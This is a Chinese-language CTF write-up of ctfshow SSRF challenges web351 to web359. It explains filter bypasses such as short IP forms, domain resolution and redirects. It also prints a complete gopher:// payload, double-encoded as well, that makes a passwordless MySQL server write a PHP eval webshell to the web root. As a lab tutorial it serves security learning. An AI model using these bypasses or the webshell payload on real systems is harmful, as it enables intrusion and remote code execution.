当前位置: 首页 > article >正文

SSRF服务端请求Gopher伪协议白盒测试

前言

是什么SSRF? 这个简单点说就是 服务端的请求伪造  就是这个如果是个 请求图片的网站 他的目的是请求外部其他网站的 图片 但是 SSRF指的是让他请求本地的图片 再展示出来 请求的是他的服务器上的图片  

SSRF(Server-Side Request Forgery:服务器端请求伪造)

一种由攻击者构造形成由服务端发起请求的一个安全漏洞;

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

SSRF服务端请求的伪造演示

简单的演示 : 最简单就是这个是 远程请求的网站 可以让你加载其他的资源 

目的:

请求远程的图片(为什么乱码就是因为我的代码没有设置解析图片的东西)

构造payload

加载了我本地的站点 

加载了我的数据库的内容

当然如果是 http://127.0.0.1//d:/1.txt  是不是可以直接读取本地的文件了

玩法和产生:产生就是 一些网站的功能(文件的下载转发 分享 )导致的
有回显的玩法
1、内网的探针
2、伪协议实现文件的读取等操作 file

看一下源码

白盒测试

以ctfshow的题为主

web351

这个从 curl 这个函数就可以审计出是有 ssrf  的

因为没有做过滤 我们直接使用hackerbar 

直接请求  或者如果你知道他的绝对路径 可以使用其他的协议 file://

web352

审计:


web353

使用域名解析代替  127.0.0.1

 域名解析代替127网站获取flag:http://safe.taobao.com/flag.php

url=http://spoofed.burpcollaborator.net/flag.php

http://sudo.cc/flag.php

http://www.ruiaxx.cn/flag.php

web354

这个时候的过滤方式我们想到了几种 :

1、进制转换 (0 1 过滤二进制应该鸡鸡了)

2、省略绕过(这里不行(把127.0.0.1 搞为 127.1     0    [::] 这些都是可以的))

3、短网址绕过

4、重定向绕过(这个就是属于远程访问了)

5、域名解析 (这个多用于 搞长度限制的那些题目)

演示 进制转换 

但是发现都有 01  全部淘汰

再一个就是 短网址绕过 

短网址不要试了有 0的  

所以直接使用  域名解析绕过

这边直接阿里云 搞一波   还是域名解析得到flag

可以自己搭建当然还可以使用重定向

web355

http://0/flag.php  这个方式绕过  或者是 127.1 这样  这个就是缩写绕过

web356

别以为略写无敌了  这个是需要linux服务器(linux服务器的特点解析)的

web357

查了一下 这个是域名解析函数  那这个的逻辑就变成了  当我们的http输入后边的不是域名或者ip的时候 才能  进行输出

这个只有30x重定向符合 

不信先搞个普通的

再使用上面的域名   

重定向不是所有的时候都可以使用的这个只能  用于 别人访问你当下的域名 进行解析的时候  这个gethostbyname 就能符号所以直接成功

web358

url=http://ctf.@127.0.0.1/flag.php # *show

@ 是专指的是当前的要访问的地址

# 用作过滤

WEB 359

看一下题目  无密码的mysql   这个是个特点  没有这个还不可以     

这个考的是   我们sql注入内网的时候的场景   因为http无法访问内网   从而导致我们的探针失败 (因为他的数据库不是外网所以我们不能直接注入操作 )

但是这个时候就需要   新的协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus\

简单的说 就是你当前的这个api是个接口  内网在里面   我们重定向 让内网出来访问是 不可能的但是我们使用http又进不去 这个 gopher协议就可以帮助构造payload 从而执行 

工具的用法: py   --exploit   数据库

然后输入你想输入的语法就可以了

然后输入你要加密的   select <?php eval($_POST[cmd])?>  into outfile  '/var/www/html/cmd.php'

因为我这个是没有 python 2环境的  所以我直接使用别人解析好的了

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%27%3b%01%00%00%00%01

复制上 直接拿下  这个不对的   因为有 %出现 所以服务器会进行url 解码一次  所以我们的逻辑就是把这个加密一次

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

复制加上 前缀

执行成功

访问 cmd.php 

蚁剑连接 

找flag


http://www.kler.cn/a/463296.html

相关文章:

  • http性能测试命令ab
  • Sqoop的使用
  • Linux命令——4.重定向、管道
  • rust学习-初识rust
  • 基于OAuth2.0和JWT规范实现安全易用的用户认证
  • [MySQL#1] database概述 常见的操作指令 MySQL架构 存储引擎
  • WireShark4.4.2浏览器网络调试指南:TCP传输包分析(七)
  • TCP/IP协议簇常见协议信息
  • 打造电竞比分网:用Java和Vue实现赛事实时数据与直播功能
  • 【HarmonyOS之旅】ArkTS语法(二) -> 动态构建UI元素
  • 【Ubuntu使用技巧】Ubuntu22.04无人值守Crontab工具实战详解
  • 攻防靶场(29):目录权限和文件权限 ICMP
  • cursor 配置 deepseek 后,无法使用 cursor 的 Composer问题
  • datalist的作用?怎么用的?
  • C之(14)gcov覆盖率
  • SpringBoot使用Nacos进行application.yml配置管理
  • Markdown如何导出Html文件Markdown文件
  • H3C无线产品案例汇编
  • RC充电电路仿真与分析
  • 关于 PPPOE技术的详细解释